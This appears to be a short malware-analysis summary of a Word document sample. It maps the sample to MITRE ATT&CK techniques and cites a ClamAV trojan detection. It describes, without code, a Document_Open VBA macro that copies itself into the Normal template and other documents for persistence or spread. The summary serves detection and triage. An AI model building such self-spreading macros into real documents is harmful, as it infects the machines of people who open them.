MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains a VBA macro that is triggered by the Document_Open event. This macro attempts to modify the Normal template and potentially other documents by copying code between them. The ClamAV detection 'Doc.Trojan.Toler-1' and the presence of the Document_Open macro strongly suggest malicious intent, likely to achieve persistence or spread.
